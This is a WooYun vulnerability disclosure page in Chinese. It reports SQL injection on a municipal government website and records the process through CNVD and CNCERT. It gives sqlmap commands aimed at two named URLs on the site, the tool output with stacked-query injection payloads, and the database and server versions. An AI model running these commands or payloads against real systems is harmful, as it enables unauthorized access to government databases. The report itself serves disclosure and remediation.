当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087839

漏洞标题:某市政府网站SQL注射

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2014-12-20 20:37

修复时间:2015-02-03 20:38

公开时间:2015-02-03 20:38

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-20: 细节已通知厂商并且等待厂商处理中
2014-12-25: 厂商已经确认,细节仅向厂商公开
2015-01-04: 细节向核心白帽子及相关领域专家公开
2015-01-14: 细节向普通白帽子公开
2015-01-24: 细节向实习白帽子公开
2015-02-03: 细节向公众公开

简要描述:

找了半天只找到2条鸡肋的注入点,聊胜于无吧。

详细说明:

第一条:sqlmap -u http://boc.lyg.gov.cn/Japan/second.aspx?folderId=200001
第二条:sqlmap -u http://boc.lyg.gov.cn/English/second.aspx?folderId=100001

漏洞证明:

第一条:sqlmap -u http://boc.lyg.gov.cn/Japan/second.aspx?folderId=200001
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 03:07:56
[03:07:56] [INFO] resuming back-end DBMS 'microsoft sql server'
[03:07:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: folderId
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: folderId=200001'; IF(5072=5072) SELECT 5072 ELSE DROP FUNCTION BwPx--
---
[03:07:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[03:07:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/boc.lyg.gov.cn'
[*] shutting down at 03:07:57
第二条:
sqlmap -u http://boc.lyg.gov.cn/English/second.aspx?folderId=100001
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 03:10:37
[03:10:37] [INFO] resuming back-end DBMS 'microsoft sql server'
[03:10:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: folderId
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: folderId=100001'; IF(6634=6634) SELECT 6634 ELSE DROP FUNCTION NIrj--
---
[03:10:38] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[03:10:38] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/boc.lyg.gov.cn'
[*] shutting down at 03:10:38

1.jpg


修复方案:

升级数据库,做好过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-25 09:09

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态:

暂无